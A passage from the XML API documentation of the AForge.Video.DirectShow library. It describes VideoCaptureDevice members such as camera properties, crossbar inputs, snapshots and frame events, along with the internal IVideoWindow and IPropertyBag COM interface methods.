name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.Stop\">\n            <summary>\n            Stop video source.\n            </summary>\n            \n            <remarks><para>Stops video source aborting its thread.</para>\n            \n            <para><note>Since the method aborts background thread, its usage is highly not preferred\n            and should be done only if there are no other options. The correct way of stopping camera\n            is <see cref=\"M:AForge.Video.DirectShow.VideoCaptureDevice.SignalToStop\">signaling it stop</see> and then\n            <see cref=\"M:AForge.Video.DirectShow.VideoCaptureDevice.WaitForStop\">waiting</see> for background thread's completion.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.Free\">\n            <summary>\n            Free resource.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.DisplayPropertyPage(System.IntPtr)\">\n            <summary>\n            Display property window for the video capture device providing its configuration\n            capabilities.\n            </summary>\n            \n            <param name=\"parentWindow\">Handle of parent window.</param>\n            \n            <remarks><para><note>If you pass parent window's handle to this method, then the\n            displayed property page will become modal window and none of the controls from the\n            parent window will be accessible. In order to make it modeless it is required\n            to pass <see cref=\"F:System.IntPtr.Zero\"/> as parent window's handle.\n            </note></para>\n            </remarks>\n            \n            <exception cref=\"T:System.NotSupportedException\">The video source does not support configuration property page.</exception>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.DisplayCrossbarPropertyPage(System.IntPtr)\">\n            <summary>\n            Display property page of video crossbar (Analog Video Crossbar filter).\n            </summary>\n            \n            <param name=\"parentWindow\">Handle of parent window.</param>\n            \n            <remarks><para>The Analog Video Crossbar filter is modeled after a general switching matrix,\n            with n inputs and m outputs. For example, a video card might have two external connectors:\n            a coaxial connector for TV, and an S-video input. These would be represented as input pins on\n            the filter. The displayed property page allows to configure the crossbar by selecting input\n            of a video card to use.</para>\n            \n            <para><note>This method can be invoked only when video source is running (<see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.IsRunning\"/> is\n            <see langword=\"true\"/>). Otherwise it generates exception.</note></para>\n            \n            <para>Use <see cref=\"M:AForge.Video.DirectShow.VideoCaptureDevice.CheckIfCrossbarAvailable\"/> method to check if running video source provides\n            crossbar configuration.</para>\n            </remarks>\n            \n            <exception cref=\"T:System.ApplicationException\">The video source must be running in order to display crossbar property page.</exception>\n            <exception cref=\"T:System.NotSupportedException\">Crossbar configuration is not supported by currently running video source.</exception>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.CheckIfCrossbarAvailable\">\n             <summary>\n             Check if running video source provides crossbar for configuration.\n             </summary>\n             \n             <returns>Returns <see langword=\"true\"/> if crossbar configuration is available or\n             <see langword=\"false\"/> otherwise.</returns>\n             \n             <remarks><para>The method reports if the video source provides crossbar configuration\n             using <see cref=\"M:AForge.Video.DirectShow.VideoCaptureDevice.DisplayCrossbarPropertyPage(System.IntPtr)\"/>.</para>\n             </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.SimulateTrigger\">\n            <summary>\n            Simulates an external trigger.\n            </summary>\n            \n            <remarks><para>The method simulates external trigger for video cameras, which support\n            providing still image snapshots. The effect is equivalent as pressing camera's shutter\n            button - a snapshot will be provided through <see cref=\"E:AForge.Video.DirectShow.VideoCaptureDevice.SnapshotFrame\"/> event.</para>\n            \n            <para><note>The <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.ProvideSnapshots\"/> property must be set to <see langword=\"true\"/>\n            to enable receiving snapshots.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.SetCameraProperty(AForge.Video.DirectShow.CameraControlProperty,System.Int32,AForge.Video.DirectShow.CameraControlFlags)\">\n            <summary>\n            Sets a specified property on the camera.\n            </summary>\n            \n            <param name=\"property\">Specifies the property to set.</param>\n            <param name=\"value\">Specifies the new value of the property.</param>\n            <param name=\"controlFlags\">Specifies the desired control setting.</param>\n            \n            <returns>Returns true on sucee or false otherwise.</returns>\n            \n            <exception cref=\"T:System.ArgumentException\">Video source is not specified - device moniker is not set.</exception>\n            <exception cref=\"T:System.ApplicationException\">Failed creating device object for moniker.</exception>\n            <exception cref=\"T:System.NotSupportedException\">The video source does not support camera control.</exception>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.GetCameraProperty(AForge.Video.DirectShow.CameraControlProperty,System.Int32@,AForge.Video.DirectShow.CameraControlFlags@)\">\n            <summary>\n            Gets the current setting of a camera property.\n            </summary>\n            \n            <param name=\"property\">Specifies the property to retrieve.</param>\n            <param name=\"value\">Receives the value of the property.</param>\n            <param name=\"controlFlags\">Receives the value indicating whether the setting is controlled manually or automatically</param>\n            \n            <returns>Returns true on sucee or false otherwise.</returns>\n            \n            <exception cref=\"T:System.ArgumentException\">Video source is not specified - device moniker is not set.</exception>\n            <exception cref=\"T:System.ApplicationException\">Failed creating device object for moniker.</exception>\n            <exception cref=\"T:System.NotSupportedException\">The video source does not support camera control.</exception>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.GetCameraPropertyRange(AForge.Video.DirectShow.CameraControlProperty,System.Int32@,System.Int32@,System.Int32@,System.Int32@,AForge.Video.DirectShow.CameraControlFlags@)\">\n            <summary>\n            Gets the range and default value of a specified camera property.\n            </summary>\n            \n            <param name=\"property\">Specifies the property to query.</param>\n            <param name=\"minValue\">Receives the minimum value of the property.</param>\n            <param name=\"maxValue\">Receives the maximum value of the property.</param>\n            <param name=\"stepSize\">Receives the step size for the property.</param>\n            <param name=\"defaultValue\">Receives the default value of the property.</param>\n            <param name=\"controlFlags\">Receives a member of the <see cref=\"T:AForge.Video.DirectShow.CameraControlFlags\"/> enumeration, indicating whether the property is controlled automatically or manually.</param>\n            \n            <returns>Returns true on sucee or false otherwise.</returns>\n            \n            <exception cref=\"T:System.ArgumentException\">Video source is not specified - device moniker is not set.</exception>\n            <exception cref=\"T:System.ApplicationException\">Failed creating device object for moniker.</exception>\n            <exception cref=\"T:System.NotSupportedException\">The video source does not support camera control.</exception>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.WorkerThread\">\n            <summary>\n            Worker thread.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.OnNewFrame(System.Drawing.Bitmap)\">\n            <summary>\n            Notifies clients about new frame.\n            </summary>\n            \n            <param name=\"image\">New frame's image.</param>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.VideoCaptureDevice.OnSnapshotFrame(System.Drawing.Bitmap)\">\n            <summary>\n            Notifies clients about new snapshot frame.\n            </summary>\n            \n            <param name=\"image\">New snapshot's image.</param>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.CrossbarVideoInput\">\n            <summary>\n            Current video input of capture card.\n            </summary>\n            \n            <remarks><para>The property specifies video input to use for video devices like capture cards\n            (those which provide crossbar configuration). List of available video inputs can be obtained\n            from <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.AvailableCrossbarVideoInputs\"/> property.</para>\n            \n            <para>To check if the video device supports crossbar configuration, the <see cref=\"M:AForge.Video.DirectShow.VideoCaptureDevice.CheckIfCrossbarAvailable\"/>\n            method can be used.</para>\n            \n            <para><note>This property can be set as before running video device, as while running it.</note></para>\n            \n            <para>By default this property is set to <see cref=\"P:AForge.Video.DirectShow.VideoInput.Default\"/>, which means video input\n            will not be set when running video device, but currently configured will be used. After video device\n            is started this property will be updated anyway to tell current video input.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.AvailableCrossbarVideoInputs\">\n            <summary>\n            Available inputs of the video capture card.\n            </summary>\n            \n            <remarks><para>The property provides list of video inputs for devices like video capture cards.\n            Such devices usually provide several video inputs, which can be selected using crossbar.\n            If video device represented by the object of this class supports crossbar, then this property\n            will list all video inputs. However if it is a regular USB camera, for example, which does not\n            provide crossbar configuration, the property will provide zero length array.</para>\n            \n            <para>Video input to be used can be selected using <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.CrossbarVideoInput\"/>. See also\n            <see cref=\"M:AForge.Video.DirectShow.VideoCaptureDevice.DisplayCrossbarPropertyPage(System.IntPtr)\"/> method, which provides crossbar configuration dialog.</para>\n            \n            <para><note>It is recomended not to call this property immediately after <see cref=\"M:AForge.Video.DirectShow.VideoCaptureDevice.Start\"/> method, since\n            device may not start yet and provide its information. It is better to call the property\n            before starting device or a bit after (but not immediately after).</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.ProvideSnapshots\">\n             <summary>\n             Specifies if snapshots should be provided or not.\n             </summary>\n             \n             <remarks><para>Some USB cameras/devices may have a shutter button, which may result into snapshot if it\n             is pressed. So the property specifies if the video source will try providing snapshots or not - it will\n             check if the camera supports providing still image snapshots. If camera supports snapshots and the property\n             is set to <see langword=\"true\"/>, then snapshots will be provided through <see cref=\"E:AForge.Video.DirectShow.VideoCaptureDevice.SnapshotFrame\"/>\n             event.</para>\n             \n             <para>Check supported sizes of snapshots using <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.SnapshotCapabilities\"/> property and set the\n             desired size using <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.SnapshotResolution\"/> property.</para>\n             \n             <para><note>The property must be set before running the video source to take effect.</note></para>\n             \n             <para>Default value of the property is set to <see langword=\"false\"/>.</para>\n             </remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.DirectShow.VideoCaptureDevice.NewFrame\">\n            <summary>\n            New frame event.\n            </summary>\n            \n            <remarks><para>Notifies clients about new available frame from video source.</para>\n            \n            <para><note>Since video source may have multiple clients, each client is responsible for\n            making a copy (cloning) of the passed video frame, because the video source disposes its\n            own original copy after notifying of clients.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.DirectShow.VideoCaptureDevice.SnapshotFrame\">\n            <summary>\n            Snapshot frame event.\n            </summary>\n            \n            <remarks><para>Notifies clients about new available snapshot frame - the one which comes when\n            camera's snapshot/shutter button is pressed.</para>\n            \n            <para>See documentation to <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.ProvideSnapshots\"/> for additional information.</para>\n            \n            <para><note>Since video source may have multiple clients, each client is responsible for\n            making a copy (cloning) of the passed snapshot frame, because the video source disposes its\n            own original copy after notifying of clients.</note></para>\n            </remarks>\n            \n            <seealso cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.ProvideSnapshots\"/>\n            \n        </member>\n        <member name=\"E:AForge.Video.DirectShow.VideoCaptureDevice.VideoSourceError\">\n            <summary>\n            Video source error event.\n            </summary>\n            \n            <remarks>This event is used to notify clients about any type of errors occurred in\n            video source object, for example internal exceptions.</remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.DirectShow.VideoCaptureDevice.PlayingFinished\">\n            <summary>\n            Video playing finished event.\n            </summary>\n            \n            <remarks><para>This event is used to notify clients that the video playing has finished.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.Source\">\n            <summary>\n            Video source.\n            </summary>\n            \n            <remarks>Video source is represented by moniker string of video capture device.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.FramesReceived\">\n            <summary>\n            Received frames count.\n            </summary>\n            \n            <remarks>Number of frames the video source provided from the moment of the last\n            access to the property.\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.BytesReceived\">\n            <summary>\n            Received bytes count.\n            </summary>\n            \n            <remarks>Number of bytes the video source provided from the moment of the last\n            access to the property.\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.IsRunning\">\n            <summary>\n            State of the video source.\n            </summary>\n            \n            <remarks>Current state of video source object - running or not.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.DesiredFrameSize\">\n            <summary>\n            Obsolete - no longer in use\n            </summary>\n            \n            <remarks><para>The property is obsolete. Use <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.VideoResolution\"/> property instead.\n            Setting this property does not have any effect.</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.DesiredSnapshotSize\">\n            <summary>\n            Obsolete - no longer in use\n            </summary>\n            \n            <remarks><para>The property is obsolete. Use <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.SnapshotResolution\"/> property instead.\n            Setting this property does not have any effect.</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.DesiredFrameRate\">\n            <summary>\n            Obsolete - no longer in use.\n            </summary>\n            \n            <remarks><para>The property is obsolete. Setting this property does not have any effect.</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.VideoResolution\">\n            <summary>\n            Video resolution to set.\n            </summary>\n            \n            <remarks><para>The property allows to set one of the video resolutions supported by the camera.\n            Use <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.VideoCapabilities\"/> property to get the list of supported video resolutions.</para>\n            \n            <para><note>The property must be set before camera is started to make any effect.</note></para>\n            \n            <para>Default value of the property is set to <see langword=\"null\"/>, which means default video\n            resolution is used.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.SnapshotResolution\">\n            <summary>\n            Snapshot resolution to set.\n            </summary>\n            \n            <remarks><para>The property allows to set one of the snapshot resolutions supported by the camera.\n            Use <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.SnapshotCapabilities\"/> property to get the list of supported snapshot resolutions.</para>\n            \n            <para><note>The property must be set before camera is started to make any effect.</note></para>\n            \n            <para>Default value of the property is set to <see langword=\"null\"/>, which means default snapshot\n            resolution is used.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.VideoCapabilities\">\n            <summary>\n            Video capabilities of the device.\n            </summary>\n            \n            <remarks><para>The property provides list of device's video capabilities.</para>\n            \n            <para><note>It is recomended not to call this property immediately after <see cref=\"M:AForge.Video.DirectShow.VideoCaptureDevice.Start\"/> method, since\n            device may not start yet and provide its information. It is better to call the property\n            before starting device or a bit after (but not immediately after).</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.SnapshotCapabilities\">\n            <summary>\n            Snapshot capabilities of the device.\n            </summary>\n            \n            <remarks><para>The property provides list of device's snapshot capabilities.</para>\n            \n            <para>If the array has zero length, then it means that this device does not support making\n            snapshots.</para>\n            \n            <para>See documentation to <see cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.ProvideSnapshots\"/> for additional information.</para>\n            \n            <para><note>It is recomended not to call this property immediately after <see cref=\"M:AForge.Video.DirectShow.VideoCaptureDevice.Start\"/> method, since\n            device may not start yet and provide its information. It is better to call the property\n            before starting device or a bit after (but not immediately after).</note></para>\n            </remarks>\n            \n            <seealso cref=\"P:AForge.Video.DirectShow.VideoCaptureDevice.ProvideSnapshots\"/>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoCaptureDevice.SourceObject\">\n            <summary>\n            Source COM object of camera capture device.\n            </summary>\n            \n            <remarks><para>The source COM object of camera capture device is exposed for the\n            case when user may need get direct access to the object for making some custom\n            configuration of camera through DirectShow interface, for example.\n            </para>\n            \n            <para>If camera is not running, the property is set to <see langword=\"null\"/>.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IVideoWindow\">\n            <summary>\n            The interface sets properties on the video window.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_Caption(System.String)\">\n            <summary>\n            Sets the video window caption.\n            </summary>\n            \n            <param name=\"caption\">Caption.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_Caption(System.String@)\">\n            <summary>\n            Retrieves the video window caption.\n            </summary>\n            \n            <param name=\"caption\">Caption.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_WindowStyle(System.Int32)\">\n            <summary>\n            Sets the window style on the video window.\n            </summary>\n            \n            <param name=\"windowStyle\">Window style flags.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_WindowStyle(System.Int32@)\">\n            <summary>\n            Retrieves the window style on the video window.\n            </summary>\n            \n            <param name=\"windowStyle\">Window style flags.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_WindowStyleEx(System.Int32)\">\n            <summary>\n            Sets the extended window style on the video window.\n            </summary>\n            \n            <param name=\"windowStyleEx\">Window extended style flags.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_WindowStyleEx(System.Int32@)\">\n            <summary>\n            Retrieves the extended window style on the video window.\n            </summary>\n            \n            <param name=\"windowStyleEx\">Window extended style flags.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_AutoShow(System.Boolean)\">\n            <summary>\n            Specifies whether the video renderer automatically shows the video window when it receives video data.\n            </summary>\n            \n            <param name=\"autoShow\">Specifies whether the video renderer automatically shows the video window.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_AutoShow(System.Boolean@)\">\n            <summary>\n            Queries whether the video renderer automatically shows the video window when it receives video data.\n            </summary>\n            \n            <param name=\"autoShow\">REceives window auto show flag.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_WindowState(System.Int32)\">\n            <summary>\n            Shows, hides, minimizes, or maximizes the video window.\n            </summary>\n            \n            <param name=\"windowState\">Window state.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_WindowState(System.Int32@)\">\n            <summary>\n            Queries whether the video window is visible, hidden, minimized, or maximized.\n            </summary>\n            \n            <param name=\"windowState\">Window state.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_BackgroundPalette(System.Boolean)\">\n            <summary>\n            Specifies whether the video window realizes its palette in the background.\n            </summary>\n            \n            <param name=\"backgroundPalette\">Value that specifies whether the video renderer realizes it palette in the background.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_BackgroundPalette(System.Boolean@)\">\n            <summary>\n            Queries whether the video window realizes its palette in the background.\n            </summary>\n            \n            <param name=\"backgroundPalette\">Receives state of background palette flag.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_Visible(System.Boolean)\">\n            <summary>\n            Shows or hides the video window.\n            </summary>\n            \n            <param name=\"visible\">Value that specifies whether to show or hide the window.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_Visible(System.Boolean@)\">\n            <summary>\n            Queries whether the video window is visible.\n            </summary>\n            \n            <param name=\"visible\">Visibility flag.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_Left(System.Int32)\">\n            <summary>\n            Sets the video window's x-coordinate.\n            </summary>\n            \n            <param name=\"left\">Specifies the x-coordinate, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_Left(System.Int32@)\">\n            <summary>\n            Retrieves the video window's x-coordinate.\n            </summary>\n            \n            <param name=\"left\">x-coordinate, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_Width(System.Int32)\">\n            <summary>\n            Sets the width of the video window.\n            </summary>\n            \n            <param name=\"width\">Specifies the width, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_Width(System.Int32@)\">\n            <summary>\n            Retrieves the width of the video window.\n            </summary>\n            \n            <param name=\"width\">Width, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_Top(System.Int32)\">\n            <summary>\n            Sets the video window's y-coordinate.\n            </summary>\n            \n            <param name=\"top\">Specifies the y-coordinate, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_Top(System.Int32@)\">\n            <summary>\n            Retrieves the video window's y-coordinate.\n            </summary>\n            \n            <param name=\"top\">y-coordinate, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_Height(System.Int32)\">\n            <summary>\n            Sets the height of the video window.\n            </summary>\n            \n            <param name=\"height\">Specifies the height, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_Height(System.Int32@)\">\n            <summary>\n            Retrieves the height of the video window.\n            </summary>\n            \n            <param name=\"height\">Height, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_Owner(System.IntPtr)\">\n            <summary>\n            Specifies a parent window for the video windowю\n            </summary>\n            \n            <param name=\"owner\">Specifies a handle to the parent window.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_Owner(System.IntPtr@)\">\n            <summary>\n            Retrieves the video window's parent window, if anyю\n            </summary>\n            \n            <param name=\"owner\">Parent window's handle.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_MessageDrain(System.IntPtr)\">\n            <summary>\n            Specifies a window to receive mouse and keyboard messages from the video window.\n            </summary>\n            \n            <param name=\"drain\">Specifies a handle to the window.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_MessageDrain(System.IntPtr@)\">\n            <summary>\n            Retrieves the window that receives mouse and keyboard messages from the video window, if any.\n            </summary>\n            \n            <param name=\"drain\">Window's handle.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_BorderColor(System.Int32@)\">\n            <summary>\n            Retrieves the color that appears around the edges of the destination rectangle.\n            </summary>\n            \n            <param name=\"color\">Border's color.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_BorderColor(System.Int32)\">\n            <summary>\n            Sets the color that appears around the edges of the destination rectangle.\n            </summary>\n            \n            <param name=\"color\">Specifies the border color.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.get_FullScreenMode(System.Boolean@)\">\n            <summary>\n            Queries whether the video renderer is in full-screen mode.\n            </summary>\n            \n            <param name=\"fullScreenMode\">Full-screen mode.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.put_FullScreenMode(System.Boolean)\">\n            <summary>\n            Enables or disables full-screen mode.\n            </summary>\n            \n            <param name=\"fullScreenMode\">Boolean value that specifies whether to enable or disable full-screen mode.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.SetWindowForeground(System.Int32)\">\n            <summary>\n            Places the video window at the top of the Z order.\n            </summary>\n            \n            <param name=\"focus\">Value that specifies whether to give the window focus.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.NotifyOwnerMessage(System.IntPtr,System.Int32,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Forwards a message to the video window.\n            </summary>\n            \n            <param name=\"hwnd\">Handle to the window.</param>\n            <param name=\"msg\">Specifies the message.</param>\n            <param name=\"wParam\">Message parameter.</param>\n            <param name=\"lParam\">Message parameter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.SetWindowPosition(System.Int32,System.Int32,System.Int32,System.Int32)\">\n            <summary>\n            Sets the position of the video windowю\n            </summary>\n            \n            <param name=\"left\">Specifies the x-coordinate, in pixels.</param>\n            <param name=\"top\">Specifies the y-coordinate, in pixels.</param>\n            <param name=\"width\">Specifies the width, in pixels.</param>\n            <param name=\"height\">Specifies the height, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.GetWindowPosition(System.Int32@,System.Int32@,System.Int32@,System.Int32@)\">\n            <summary>\n            Retrieves the position of the video window.\n            </summary>\n            \n            <param name=\"left\">x-coordinate, in pixels.</param>\n            <param name=\"top\">y-coordinate, in pixels.</param>\n            <param name=\"width\">Width, in pixels.</param>\n            <param name=\"height\">Height, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.GetMinIdealImageSize(System.Int32@,System.Int32@)\">\n            <summary>\n            Retrieves the minimum ideal size for the video image.\n            </summary>\n            \n            <param name=\"width\">Receives the minimum ideal width, in pixels.</param>\n            <param name=\"height\">Receives the minimum ideal height, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.GetMaxIdealImageSize(System.Int32@,System.Int32@)\">\n            <summary>\n            Retrieves the maximum ideal size for the video image.\n            </summary>\n            \n            <param name=\"width\">Receives the maximum ideal width, in pixels.</param>\n            <param name=\"height\">Receives the maximum ideal height, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.GetRestorePosition(System.Int32@,System.Int32@,System.Int32@,System.Int32@)\">\n            <summary>\n            Retrieves the restored window position.\n            </summary>\n            \n            <param name=\"left\">x-coordinate, in pixels.</param>\n            <param name=\"top\">y-coordinate, in pixels.</param>\n            <param name=\"width\">Width, in pixels.</param>\n            <param name=\"height\">Height, in pixels.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.HideCursor(System.Boolean)\">\n            <summary>\n            Hides the cursor.\n            </summary>\n            \n            <param name=\"hideCursor\">Specifies whether to hide or display the cursor.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IVideoWindow.IsCursorHidden(System.Boolean@)\">\n            <summary>\n            Queries whether the cursor is hidden.\n            </summary>\n            \n            <param name=\"hideCursor\">Specifies if cursor is hidden or not.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IPropertyBag\">\n            <summary>\n            The <b>IPropertyBag</b> interface provides an object with a property bag in\n            which the object can persistently save its properties. \n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPropertyBag.Read(System.String,System.Object@,System.IntPtr)\">\n            <summary>\n            Read a property from property bag.\n            </summary>\n            \n            <param name=\"propertyName\">Property name to read.</param>\n            <param name=\"pVar\">Property value.</param>\n            <param name=\"pErrorLog\">Caller's error log.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPropertyBag.Write(System.String,System.Object@)\">\n            <summary>\n            Write property to property bag.\n            </summary>\n            \n            <param name=\"propertyName\">Property name to read.</param>\n            <param name=\"pVar\">Property value.</param>\n            \n            